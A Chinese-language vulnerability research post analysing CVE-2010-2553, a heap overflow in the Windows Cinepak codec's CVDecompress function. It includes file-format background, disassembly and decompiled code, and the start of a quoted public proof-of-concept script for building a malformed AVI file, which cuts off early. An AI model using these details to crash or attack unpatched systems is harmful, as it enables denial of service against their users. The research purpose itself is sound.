CVE-2010-2553 漏洞研究

7erry

Microsoft Windows Cinepak 编解码器对媒体文件解压缩时存在代码控制不当,其中(iccvid.dll)的 CVDCompress 函数在解压缩媒体文件时未对 Cinepak(CVID) Stream Format 中的 Number of coded strips(Frame Header) 大小充分检测与限制,导致在复制压缩数据时造成堆溢出,进而导致程序崩溃或任意代码执行(maybe)

影响范围:
Microsoft Windows XP Professional x64 Edition Service Pack 2
Microsoft Windows XP Service Pack 3
Microsoft Windows Vista Service Pack 1 and Microsoft Windows Vista Service Pack 2
Microsoft Windows Vista x64 Edition Service Pack 1 and Microsoft Windows Vista x64 Edition Service Pack 2
Microsoft Windows 7 for 32-bit Systems
Microsoft Windows 7 for x64-based Systems

RIFF 文件及其基本数据结构

RIFF(Resource Interchange File Format 资源交换文件格式)是一种通用文件容器格式,主要用于存储包括但不限于音频和视频的多媒体数据。RIFF 文件所包含的数据类型由该文件的扩展名来标识,例如:

  • 音频视频交错格式数据(.AVI)
  • 波形格式数据(.WAV)
  • 位图格式数据(.RDI)
  • MIDI格式数据(.RMI)
  • 调色板格式数据(.PAL)
  • 多媒体电影格式数据(.RMN)
  • 动画光标格式数据(.ANI)
  • 其它RIFF文件(.BND)

RIFF 文件的基本单元是 Chunk,其数据结构如下

1
2
3
4
5
struct chunk{
u32 id;
u32 size;
u8 data[size];
}

id 为 4 个 ASCII 字符组成 FourCC(Four Character Code) 格式标识符,用以识别块中所包含的数据类型。
size 为存储在 data 字段中的数据的长度。
data 为 Chunk 内包含的实际内容,以字为单位排列,字节数为奇数时以空字节补齐。当块标识符(id)为 RIFF 或 LIST 时,data 字段可以包含子块,其余块只能包含数据。

AVI 文件及其基本数据结构

AVI(Audio Video Interleaved) 是 Microsoft 于 1992 年 11 月开发的一种符合 RIFF 文件规范的多媒体容器格式,可以在文件容器中同时包含音频和视频数据,并于 2010 年由美国政府的国家档案和记录管理局被定为用于保存数字视频的官方文件格式。基本上,AVI 文件有 3 种类型:

  • AVI1.0: 原始 AVI 格式,也是最基本的格式。一般情况下其索引地址与大小为 4 字节,最大容量为 4GB
  • Open-DML(AVI2.0): AVI文件格式的扩展。于 1996 年 2 月 28 日由 Matrox OpenDML 开发,受 Microsoft 支持并被非正式地成为 AVI2.0。最重要的改进是:
    • 对文件大小几乎没有限制
    • 减少了33%的开销
  • Hybride-Files

AVI 文件由 Chunks 和 Lists 两种基本单元组成,与 RIFF 文件的基本单元 Chunk 类似,其数据结构如下:

1
2
3
4
5
6
7
8
9
10
11
12
typedef struct {
DWORD dwFourCC;
DWORD dwSize;
BYTE data[dwSize];
}CHUNK;

typedef struct {
DWORD dwList;
DWORD dwSize;
DWORD dwFourCC;
BYTE data[dwSize-4];
}LIST;

其中 dwFourCC 与 dwList 为标识符字段,dwSize 为包含数据的大小,data 为包含的数据。

AVI 文件格式细节参阅 sp4n9x’s Blog AVI文件格式分析

Cinepak Stream Format

Cinepak 压缩格式的视频流由由 Frame Header 和多个 Strip 组成。Frame Header 的长度为 10 个字节,分别表示

  • Flags: 位 0 指定每个 Strip 的 codebooks 是否使用上一个 Strip 中定义的 codebooks
  • Length of CVID data: Frame 中的字节总数
  • Width of coded frame : Frame 的像素宽度
  • Height of coded frame: Frame 的像素高度
  • Number of coded strips: 用于对 Frame 进行编码的 Strips 总数

本漏洞的成因即为程序 Frame Header 内的 Number of coded strips 未进行任何限制而在复制数据时造成了堆溢出

Cinepak 压缩格式细节参阅 Cinepak 压缩格式

漏洞分析

使用 Windows Media Player(wmplay.exe) 打开样本 .avi 文件后触发 Access violation 而中断。开启 hpa 和 ust 进行调试,栈回溯查看崩溃函数的主调函数并下断点,发现触发异常的函数位于 iccvid.dll 模块。使用 IDA 打开 iccvid.dll 时可以通过选项下载微软符号表,定位到崩溃函数所在位置

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
.text:73B721AE
.text:73B721AE ; =============== S U B R O U T I N E =======================================
.text:73B721AE
.text:73B721AE ; Attributes: bp-based frame
.text:73B721AE
.text:73B721AE ; int __stdcall CVDecompress(ULONG, _BYTE *, unsigned int, int, int, int, int)
.text:73B721AE _CVDecompress@28 proc near ; CODE XREF: CVDecompress(x,x,x,x,x,x,x)+27↓p
.text:73B721AE ; Decompress(x,x,x,x,x,x,x,x,x,x,x,x,x,x)+118↓p
.text:73B721AE ; Decompress(x,x,x,x,x,x,x,x,x,x,x,x,x,x)+140↓p
.text:73B721AE
.text:73B721AE var_20= dword ptr -20h
.text:73B721AE var_1C= dword ptr -1Ch
.text:73B721AE var_18= dword ptr -18h
.text:73B721AE var_14= dword ptr -14h
.text:73B721AE pulResult= dword ptr -10h
.text:73B721AE var_C= dword ptr -0Ch
.text:73B721AE ulMinuend= dword ptr -8
.text:73B721AE var_4= dword ptr -4
.text:73B721AE arg_0= dword ptr 8
.text:73B721AE arg_4= dword ptr 0Ch
.text:73B721AE arg_8= dword ptr 10h
.text:73B721AE arg_C= dword ptr 14h
.text:73B721AE arg_10= dword ptr 18h
.text:73B721AE arg_14= dword ptr 1Ch
.text:73B721AE arg_18= dword ptr 20h
.text:73B721AE
.text:73B721AE 8B FF mov edi, edi
.text:73B721B0 55 push ebp
.text:73B721B1 8B EC mov ebp, esp
.text:73B721B3 83 EC 20 sub esp, 20h
.text:73B721B6 53 push ebx
.text:73B721B7 8B 5D 08 mov ebx, [ebp+arg_0]
.text:73B721BA 56 push esi
.text:73B721BB 8B 73 24 mov esi, [ebx+24h]
.text:73B721BE 57 push edi
.text:73B721BF 33 FF xor edi, edi
.text:73B721C1 3B F7 cmp esi, edi
.text:73B721C3 74 1C jz short loc_73B721E1
.text:73B721C3
.text:73B721C5 FF 75 20 push [ebp+arg_18] ; int
.text:73B721C8 89 7B 24 mov [ebx+24h], edi
.text:73B721CB 57 push edi ; int
.text:73B721CC 57 push edi ; int
.text:73B721CD 57 push edi ; int
.text:73B721CE 68 46 24 00 00 push 2446h ; int
.text:73B721D3 56 push esi ; int
.text:73B721D4 53 push ebx ; ULONG
.text:73B721D5 E8 D4 FF FF FF call _CVDecompress@28 ; CVDecompress(x,x,x,x,x,x,x)
.text:73B721D5
.text:73B721DA 56 push esi ; hMem
.text:73B721DB FF 15 40 10 B7 73 call ds:__imp__LocalFree@4 ; LocalFree(x)
.text:73B721DB
.text:73B721E1
.text:73B721E1 loc_73B721E1: ; CODE XREF: CVDecompress(x,x,x,x,x,x,x)+15↑j
.text:73B721E1 33 C0 xor eax, eax
.text:73B721E3 83 7D 10 20 cmp [ebp+arg_8], 20h ; ' '
.text:73B721E7 0F 82 00 02 00 00 jb loc_73B723ED
.text:73B721E7
.text:73B721ED 8B 75 0C mov esi, [ebp+arg_4]
.text:73B721F0 8A 66 01 mov ah, [esi+1]
.text:73B721F3 0F B6 4E 03 movzx ecx, byte ptr [esi+3]
.text:73B721F7 8A 46 02 mov al, [esi+2]
.text:73B721FA C1 E0 08 shl eax, 8
.text:73B721FD 0B C1 or eax, ecx
.text:73B721FF 39 45 10 cmp [ebp+arg_8], eax
.text:73B72202 0F 8C EC 01 00 00 jl loc_73B723F4
.text:73B72202
.text:73B72208 8A 0E mov cl, [esi]
.text:73B7220A 88 4D 13 mov byte ptr [ebp+arg_8+3], cl
.text:73B7220D 8D 4D F0 lea ecx, [ebp+pulResult]
.text:73B72210 51 push ecx ; pulResult
.text:73B72211 6A 0A push 0Ah ; ulSubtrahend
.text:73B72213 50 push eax ; ulMinuend
.text:73B72214 E8 6D FF FF FF call _ULongSub@12 ; ULongSub(x,x,x)
.text:73B72214
.text:73B72219 85 C0 test eax, eax
.text:73B7221B 0F 8C D3 01 00 00 jl loc_73B723F4
.text:73B7221B
.text:73B72221 33 C0 xor eax, eax
.text:73B72223 8A 66 08 mov ah, [esi+8]
.text:73B72226 83 C6 0A add esi, 0Ah
.text:73B72229 89 7D EC mov [ebp+var_14], edi
.text:73B7222C 89 75 E8 mov [ebp+var_18], esi
.text:73B7222F 89 75 F4 mov [ebp+var_C], esi
.text:73B72232 8A 46 FF mov al, [esi-1]
.text:73B72235 3B C7 cmp eax, edi
.text:73B72237 89 45 E4 mov [ebp+var_1C], eax
.text:73B7223A 0F 8E AA 01 00 00 jle loc_73B723EA
.text:73B7223A
.text:73B72240 89 7D FC mov [ebp+var_4], edi
.text:73B72240
.text:73B72243
.text:73B72243 loc_73B72243: ; CODE XREF: CVDecompress(x,x,x,x,x,x,x)+236↓j
.text:73B72243 8B 45 F0 mov eax, [ebp+pulResult]
.text:73B72246 83 F8 16 cmp eax, 16h
.text:73B72249 0F 82 9B 01 00 00 jb loc_73B723EA
.text:73B72249
.text:73B7224F 0F B6 56 03 movzx edx, byte ptr [esi+3]
.text:73B72253 33 C9 xor ecx, ecx
.text:73B72255 8A 6E 01 mov ch, [esi+1]
.text:73B72258 8A 4E 02 mov cl, [esi+2]
.text:73B7225B C1 E1 08 shl ecx, 8
.text:73B7225E 0B CA or ecx, edx
.text:73B72260 3B C1 cmp eax, ecx
.text:73B72262 89 4D F8 mov [ebp+ulMinuend], ecx
.text:73B72265 0F 82 7F 01 00 00 jb loc_73B723EA
.text:73B72265
.text:73B7226B 8A 06 mov al, [esi]
.text:73B7226D 3C 10 cmp al, 10h
.text:73B7226F 74 08 jz short loc_73B72279
.text:73B7226F
.text:73B72271 3C 11 cmp al, 11h
.text:73B72273 0F 85 57 01 00 00 jnz loc_73B723D0
.text:73B72273
.text:73B72279
.text:73B72279 loc_73B72279: ; CODE XREF: CVDecompress(x,x,x,x,x,x,x)+C1↑j
.text:73B72279 8D 45 08 lea eax, [ebp+arg_0]
.text:73B7227C 50 push eax ; pulResult
.text:73B7227D 6A 0C push 0Ch ; ulSubtrahend
.text:73B7227F FF 75 F8 push [ebp+ulMinuend] ; ulMinuend
.text:73B72282 E8 FF FE FF FF call _ULongSub@12 ; ULongSub(x,x,x)
.text:73B72282
.text:73B72287 85 C0 test eax, eax
.text:73B72289 0F 8C 65 01 00 00 jl loc_73B723F4
.text:73B72289
.text:73B7228F 33 C0 xor eax, eax
.text:73B72291 8A 66 08 mov ah, [esi+8]
.text:73B72294 33 C9 xor ecx, ecx
.text:73B72296 8A 6E 04 mov ch, [esi+4]
.text:73B72299 8A 46 09 mov al, [esi+9]
.text:73B7229C 8A 4E 05 mov cl, [esi+5]
.text:73B7229F 2B C1 sub eax, ecx
.text:73B722A1 66 0F AF 43 2E imul ax, [ebx+2Eh]
.text:73B722A6 89 45 0C mov [ebp+arg_4], eax
.text:73B722A9 8B 45 FC mov eax, [ebp+var_4]
.text:73B722AC 3B C7 cmp eax, edi
.text:73B722AE 74 21 jz short loc_73B722D1
.text:73B722AE
.text:73B722B0 80 7D 13 00 cmp byte ptr [ebp+arg_8+3], 0
.text:73B722B4 75 1B jnz short loc_73B722D1
.text:73B722B4
.text:73B722B6 80 3E 11 cmp byte ptr [esi], 11h
.text:73B722B9 75 16 jnz short loc_73B722D1
.text:73B722B9
.text:73B722BB 8B 4B 1C mov ecx, [ebx+1Ch]
.text:73B722BE 8D 3C 01 lea edi, [ecx+eax]
.text:73B722C1 B9 00 08 00 00 mov ecx, 800h
.text:73B722C6 8D B7 00 E0 FF FF lea esi, [edi-2000h]
.text:73B722CC F3 A5 rep movsd
.text:73B722CE 8B 75 E8 mov esi, [ebp+var_18]
.text:73B722CE
.text:73B722D1
.text:73B722D1 loc_73B722D1: ; CODE XREF: CVDecompress(x,x,x,x,x,x,x)+100↑j
.text:73B722D1 ; CVDecompress(x,x,x,x,x,x,x)+106↑j
.text:73B722D1 ; CVDecompress(x,x,x,x,x,x,x)+10B↑j
.text:73B722D1 8B 7D F4 mov edi, [ebp+var_C]
.text:73B722D4 8B 43 20 mov eax, [ebx+20h]
.text:73B722D7 83 C7 0C add edi, 0Ch
.text:73B722DA 03 45 FC add eax, [ebp+var_4]
.text:73B722DD 8D 4E 0C lea ecx, [esi+0Ch]
.text:73B722E0 89 43 38 mov [ebx+38h], eax
.text:73B722E3 8B 45 20 mov eax, [ebp+arg_18]
.text:73B722E6 89 4D E8 mov [ebp+var_18], ecx
.text:73B722E9 89 43 3C mov [ebx+3Ch], eax
.text:73B722EC E9 BE 00 00 00 jmp loc_73B723AF
.text:73B722EC
.text:73B722F1 ; ---------------------------------------------------------------------------
.text:73B722F1
.text:73B722F1 loc_73B722F1: ; CODE XREF: CVDecompress(x,x,x,x,x,x,x)+205↓j
.text:73B722F1 0F B6 41 03 movzx eax, byte ptr [ecx+3]
.text:73B722F5 33 D2 xor edx, edx
.text:73B722F7 8A 71 01 mov dh, [ecx+1]
.text:73B722FA 8A 51 02 mov dl, [ecx+2]
.text:73B722FD C1 E2 08 shl edx, 8
.text:73B72300 0B D0 or edx, eax
.text:73B72302 39 55 08 cmp [ebp+arg_0], edx
.text:73B72305 89 55 E0 mov [ebp+var_20], edx
.text:73B72308 0F 82 AB 00 00 00 jb loc_73B723B9
.text:73B72308
.text:73B7230E 0F B6 01 movzx eax, byte ptr [ecx]
.text:73B72311 83 C0 E0 add eax, 0FFFFFFE0h ; switch 19 cases
.text:73B72314 83 F8 12 cmp eax, 12h
.text:73B72317 77 7D ja short def_73B72320 ; jumptable 73B72320 default case, cases 40-47
.text:73B72317
.text:73B72319 0F B6 80 10 24 B7 73 movzx eax, ds:byte_73B72410[eax]
.text:73B72320 FF 24 85 F8 23 B7 73 jmp ds:jpt_73B72320[eax*4] ; switch jump
.text:73B72320
.text:73B72327 ; ---------------------------------------------------------------------------
.text:73B72327
.text:73B72327 loc_73B72327: ; CODE XREF: CVDecompress(x,x,x,x,x,x,x)+172↑j
.text:73B72327 ; DATA XREF: .text:jpt_73B72320↓o
.text:73B72327 FF 73 30 push dword ptr [ebx+30h] ; jumptable 73B72320 cases 32,33,36,37
.text:73B7232A FF 73 34 push dword ptr [ebx+34h]
.text:73B7232D FF 73 38 push dword ptr [ebx+38h]
.text:73B72330 57 push edi
.text:73B72331 FF 13 call dword ptr [ebx]
.text:73B72331
.text:73B72333 EB 61 jmp short def_73B72320 ; jumptable 73B72320 default case, cases 40-47
.text:73B72333
.text:73B72335 ; ---------------------------------------------------------------------------
.text:73B72335
.text:73B72335 loc_73B72335: ; CODE XREF: CVDecompress(x,x,x,x,x,x,x)+172↑j
.text:73B72335 ; DATA XREF: .text:jpt_73B72320↓o
.text:73B72335 FF 73 30 push dword ptr [ebx+30h] ; jumptable 73B72320 cases 34,35,38,39
.text:73B72338 8B 43 38 mov eax, [ebx+38h]
.text:73B7233B FF 73 34 push dword ptr [ebx+34h]
.text:73B7233E 05 00 10 00 00 add eax, 1000h
.text:73B72343 50 push eax
.text:73B72344 57 push edi
.text:73B72345 FF 53 04 call dword ptr [ebx+4]
.text:73B72345
.text:73B72348 EB 4C jmp short def_73B72320 ; jumptable 73B72320 default case, cases 40-47
.text:73B72348
.text:73B7234A ; ---------------------------------------------------------------------------
.text:73B7234A
.text:73B7234A loc_73B7234A: ; CODE XREF: CVDecompress(x,x,x,x,x,x,x)+172↑j
.text:73B7234A ; DATA XREF: .text:jpt_73B72320↓o
.text:73B7234A FF 75 0C push [ebp+arg_4] ; jumptable 73B72320 case 48
.text:73B7234D 83 C2 FC add edx, 0FFFFFFFCh
.text:73B72350 FF 75 1C push [ebp+arg_14]
.text:73B72353 8D 47 04 lea eax, [edi+4]
.text:73B72356 FF 75 18 push [ebp+arg_10]
.text:73B72359 FF 75 14 push [ebp+arg_C]
.text:73B7235C 52 push edx
.text:73B7235D 50 push eax
.text:73B7235E 53 push ebx
.text:73B7235F FF 53 08 call dword ptr [ebx+8]
.text:73B7235F
.text:73B72362 EB 32 jmp short def_73B72320 ; jumptable 73B72320 default case, cases 40-47
.text:73B72362
.text:73B72364 ; ---------------------------------------------------------------------------
.text:73B72364
.text:73B72364 loc_73B72364: ; CODE XREF: CVDecompress(x,x,x,x,x,x,x)+172↑j
.text:73B72364 ; DATA XREF: .text:jpt_73B72320↓o
.text:73B72364 FF 75 0C push [ebp+arg_4] ; jumptable 73B72320 case 49
.text:73B72367 83 C2 FC add edx, 0FFFFFFFCh
.text:73B7236A FF 75 1C push [ebp+arg_14]
.text:73B7236D 8D 47 04 lea eax, [edi+4]
.text:73B72370 FF 75 18 push [ebp+arg_10]
.text:73B72373 FF 75 14 push [ebp+arg_C]
.text:73B72376 52 push edx
.text:73B72377 50 push eax
.text:73B72378 53 push ebx
.text:73B72379 FF 53 10 call dword ptr [ebx+10h]
.text:73B72379
.text:73B7237C EB 18 jmp short def_73B72320 ; jumptable 73B72320 default case, cases 40-47
.text:73B7237C
.text:73B7237E ; ---------------------------------------------------------------------------
.text:73B7237E
.text:73B7237E loc_73B7237E: ; CODE XREF: CVDecompress(x,x,x,x,x,x,x)+172↑j
.text:73B7237E ; DATA XREF: .text:jpt_73B72320↓o
.text:73B7237E FF 75 0C push [ebp+arg_4] ; jumptable 73B72320 case 50
.text:73B72381 83 C2 FC add edx, 0FFFFFFFCh
.text:73B72384 FF 75 1C push [ebp+arg_14]
.text:73B72387 8D 47 04 lea eax, [edi+4]
.text:73B7238A FF 75 18 push [ebp+arg_10]
.text:73B7238D FF 75 14 push [ebp+arg_C]
.text:73B72390 52 push edx
.text:73B72391 50 push eax
.text:73B72392 53 push ebx
.text:73B72393 FF 53 0C call dword ptr [ebx+0Ch]
.text:73B72393
.text:73B72396
.text:73B72396 def_73B72320: ; CODE XREF: CVDecompress(x,x,x,x,x,x,x)+169↑j
.text:73B72396 ; CVDecompress(x,x,x,x,x,x,x)+172↑j
.text:73B72396 ; CVDecompress(x,x,x,x,x,x,x)+185↑j
.text:73B72396 ; CVDecompress(x,x,x,x,x,x,x)+19A↑j
.text:73B72396 ; CVDecompress(x,x,x,x,x,x,x)+1B4↑j
.text:73B72396 ; CVDecompress(x,x,x,x,x,x,x)+1CE↑j
.text:73B72396 ; DATA XREF: .text:jpt_73B72320↓o
.text:73B72396 8B 55 E0 mov edx, [ebp+var_20] ; jumptable 73B72320 default case, cases 40-47
.text:73B72399 8B 4D E8 mov ecx, [ebp+var_18]
.text:73B7239C 33 C0 xor eax, eax
.text:73B7239E 03 CA add ecx, edx
.text:73B723A0 40 inc eax
.text:73B723A1 03 FA add edi, edx
.text:73B723A3 3B D0 cmp edx, eax
.text:73B723A5 89 4D E8 mov [ebp+var_18], ecx
.text:73B723A8 76 02 jbe short loc_73B723AC
.text:73B723A8
.text:73B723AA 8B C2 mov eax, edx
.text:73B723AA
.text:73B723AC
.text:73B723AC loc_73B723AC: ; CODE XREF: CVDecompress(x,x,x,x,x,x,x)+1FA↑j
.text:73B723AC 29 45 08 sub [ebp+arg_0], eax
.text:73B723AC
.text:73B723AF
.text:73B723AF loc_73B723AF: ; CODE XREF: CVDecompress(x,x,x,x,x,x,x)+13E↑j
.text:73B723AF 83 7D 08 04 cmp [ebp+arg_0], 4
.text:73B723B3 0F 83 38 FF FF FF jnb loc_73B722F1
.text:73B723B3
.text:73B723B9
.text:73B723B9 loc_73B723B9: ; CODE XREF: CVDecompress(x,x,x,x,x,x,x)+15A↑j
.text:73B723B9 0F BF 45 0C movsx eax, word ptr [ebp+arg_4]
.text:73B723BD 0F AF 45 20 imul eax, [ebp+arg_18]
.text:73B723C1 01 45 1C add [ebp+arg_14], eax
.text:73B723C4 FF 45 EC inc [ebp+var_14]
.text:73B723C7 81 45 FC 00 20 00 00 add [ebp+var_4], 2000h
.text:73B723CE 33 FF xor edi, edi
.text:73B723CE
.text:73B723D0
.text:73B723D0 loc_73B723D0: ; CODE XREF: CVDecompress(x,x,x,x,x,x,x)+C5↑j
.text:73B723D0 8B 45 F8 mov eax, [ebp+ulMinuend]
.text:73B723D3 01 45 F4 add [ebp+var_C], eax
.text:73B723D6 29 45 F0 sub [ebp+pulResult], eax
.text:73B723D9 03 F0 add esi, eax
.text:73B723DB 8B 45 E4 mov eax, [ebp+var_1C]
.text:73B723DE 39 45 EC cmp [ebp+var_14], eax
.text:73B723E1 89 75 E8 mov [ebp+var_18], esi
.text:73B723E4 0F 8C 59 FE FF FF jl loc_73B72243
.text:73B723E4
.text:73B723EA
.text:73B723EA loc_73B723EA: ; CODE XREF: CVDecompress(x,x,x,x,x,x,x)+8C↑j
.text:73B723EA ; CVDecompress(x,x,x,x,x,x,x)+9B↑j
.text:73B723EA ; CVDecompress(x,x,x,x,x,x,x)+B7↑j
.text:73B723EA 33 C0 xor eax, eax
.text:73B723EC 40 inc eax
.text:73B723EC
.text:73B723ED
.text:73B723ED loc_73B723ED: ; CODE XREF: CVDecompress(x,x,x,x,x,x,x)+39↑j
.text:73B723ED ; CVDecompress(x,x,x,x,x,x,x)+248↓j
.text:73B723ED 5F pop edi
.text:73B723EE 5E pop esi
.text:73B723EF 5B pop ebx
.text:73B723F0 C9 leave
.text:73B723F1 C2 1C 00 retn 1Ch

崩溃函数为 CVDecompress,其主调函数为 Decompress 。对 CVDecompress 函数反编译得到

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
int __stdcall CVDecompress(ULONG a1, _BYTE *a2, unsigned int a3, int a4, int a5, int a6, int a7)
{
ULONG v7; // ebx
void *v8; // esi
int result; // eax
_BYTE *v10; // esi
int v11; // eax
unsigned __int16 v12; // ax
_BYTE *v13; // esi
unsigned __int16 v14; // cx
unsigned __int16 v15; // ax
unsigned __int16 v16; // cx
int v17; // eax
_BYTE *v18; // edi
_BYTE *v19; // ecx
unsigned __int16 v20; // dx
unsigned int v21; // edx
int v22; // eax
int v23; // [esp-4h] [ebp-30h]
unsigned int v24; // [esp+Ch] [ebp-20h]
int v25; // [esp+10h] [ebp-1Ch]
_BYTE *v26; // [esp+14h] [ebp-18h]
_BYTE *v27; // [esp+14h] [ebp-18h]
int v28; // [esp+18h] [ebp-14h]
ULONG pulResult; // [esp+1Ch] [ebp-10h] BYREF
_BYTE *v30; // [esp+20h] [ebp-Ch]
ULONG ulMinuend; // [esp+24h] [ebp-8h]
int v32; // [esp+28h] [ebp-4h]

v7 = a1;
v8 = *(void **)(a1 + 36);
if ( v8 )
{
v23 = a7;
*(_DWORD *)(a1 + 36) = 0;
CVDecompress(v7, (int)v8, 9286, 0, 0, 0, v23);
LocalFree(v8);
}
result = 0;
if ( a3 >= 0x20 )
{
v10 = a2;
BYTE1(result) = a2[1];
LOBYTE(result) = a2[2];
v11 = (unsigned __int8)a2[3] | (result << 8);
if ( (int)a3 < v11 )
return 0;
HIBYTE(a3) = *a2;
if ( ULongSub(v11, 0xAu, &pulResult) < 0 )
{
return 0;
}
else
{
HIBYTE(v12) = v10[8];
v13 = v10 + 10;
v28 = 0;
v26 = v13;
v30 = v13;
LOBYTE(v12) = *(v13 - 1);
v25 = v12;
if ( v12 )
{
v32 = 0;
do
{
if ( pulResult < 0x16 )
break;
HIBYTE(v14) = v13[1];
LOBYTE(v14) = v13[2];
ulMinuend = (unsigned __int8)v13[3] | (v14 << 8);
if ( pulResult < ulMinuend )
break;
if ( *v13 == 16 || *v13 == 17 )
{
if ( ULongSub(ulMinuend, 0xCu, &a1) < 0 )
return 0;
HIBYTE(v15) = v13[8];
HIBYTE(v16) = v13[4];
LOBYTE(v15) = v13[9];
LOBYTE(v16) = v13[5];
v17 = v15 - v16;
LOWORD(v17) = *(_WORD *)(v7 + 46) * v17;
a2 = (_BYTE *)v17;
if ( v32 && !HIBYTE(a3) && *v13 == 17 )
{
qmemcpy(
(void *)(*(_DWORD *)(v7 + 28) + v32),
(const void *)(*(_DWORD *)(v7 + 28) + v32 - 0x2000),
0x2000u);
v13 = v26;
}
v18 = v30 + 12;
v19 = v13 + 12;
*(_DWORD *)(v7 + 56) = v32 + *(_DWORD *)(v7 + 32);
v27 = v13 + 12;
*(_DWORD *)(v7 + 60) = a7;
while ( a1 >= 4 )
{
HIBYTE(v20) = v19[1];
LOBYTE(v20) = v19[2];
v21 = (unsigned __int8)v19[3] | (v20 << 8);
v24 = v21;
if ( a1 < v21 )
break;
switch ( *v19 )
{
case ' ':
case '!':
case '$':
case '%':
(*(void (__stdcall **)(_BYTE *, _DWORD, _DWORD, _DWORD))v7)(
v18,
*(_DWORD *)(v7 + 56),
*(_DWORD *)(v7 + 52),
*(_DWORD *)(v7 + 48));
break;
case '"':
case '#':
case '&':
case '\'':
(*(void (__stdcall **)(_BYTE *, int, _DWORD, _DWORD))(v7 + 4))(
v18,
*(_DWORD *)(v7 + 56) + 4096,
*(_DWORD *)(v7 + 52),
*(_DWORD *)(v7 + 48));
break;
case '0':
(*(void (__stdcall **)(ULONG, _BYTE *, unsigned int, int, int, int, _BYTE *))(v7 + 8))(
v7,
v18 + 4,
v21 - 4,
a4,
a5,
a6,
a2);
break;
case '1':
(*(void (__stdcall **)(ULONG, _BYTE *, unsigned int, int, int, int, _BYTE *))(v7 + 16))(
v7,
v18 + 4,
v21 - 4,
a4,
a5,
a6,
a2);
break;
case '2':
(*(void (__stdcall **)(ULONG, _BYTE *, unsigned int, int, int, int, _BYTE *))(v7 + 12))(
v7,
v18 + 4,
v21 - 4,
a4,
a5,
a6,
a2);
break;
default:
break;
}
v19 = &v27[v24];
v22 = 1;
v18 += v24;
v27 += v24;
if ( v24 > 1 )
v22 = v24;
a1 -= v22;
}
a6 += a7 * (__int16)a2;
++v28;
v32 += 0x2000;
}
v30 += ulMinuend;
pulResult -= ulMinuend;
v13 += ulMinuend;
v26 = v13;
}
while ( v28 < v25 );
}
return 1;
}
}
return result;
}

异常发生在 qmemcpy 语句。使用 LLM 辅助阅读一下这下代码,异常触发时的执行流程为,程序判断 CVID Chunk 的数据长度是否大于 0x20,是则获取其 Strip 个数,并逐个处理 Strip,若 Strip ID 为 0x1100 则进行数据复制,每次复制 0x2000 字节。而程序在复制时并没有判断所用的 0x6000 大小的堆块剩余空间是否充足,因此当 ID 为 0x1100 的 Strip 个数大于 3 时将发生堆溢出,且溢出的内存中包含了内存状态为 MEM_RESERVE 的内存,故触发 Access violation

漏洞利用

MSF 没有该漏洞利用的相关模块,在互联网搜索引擎中也暂未找到相关利用样本。个人感觉该漏洞难以进行更进一步的利用的原因在于其难以控制 EIP 指针因此无法执行 payload。而若只需要使程序崩溃进行 DOS 的话利用样本生成脚本生成攻击脚本即可

Exploit 分析

ABYSSSEC 在 exploit-db 上公布了 POC 文件生成脚本,为方便理解在此借用 sp4n9x’s Blog 中给出的注释版本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
# -*- coding: UTF-8 -*-
'''
__ __ ____ _ _ ____
| \/ |/ __ \ /\ | | | | _ \
| \ / | | | | / \ | | | | |_) |
| |\/| | | | |/ /\ \| | | | _ <
| | | | |__| / ____ \ |__| | |_) |
|_| |_|\____/_/ \_\____/|____/

http://www.exploit-db.com/moaub-26-microsoft-cinepak-codec-cvdecompress-heap-overflow-ms10-055/
https://www.exploit-db.com/exploits/15112

Title : Microsoft Cinepak Codec CVDecompress Heap Overflow
Version : iccvid.dll XP SP3
Analysis : http://www.abysssec.com
Vendor : http://www.microsoft.com
Impact : High
Contact : shahin [at] abysssec.com , info [at] abysssec.com
Twitter : @abysssec
CVE : CVE-2010-2553
MOAUB Number :
'''

import sys

def main():
aviHeaders = (
"\x52\x49\x46\x46" # dwList = "RIFF"
"\x58\x01\x00\x00" # dwSize = 0x158 = 344 byte
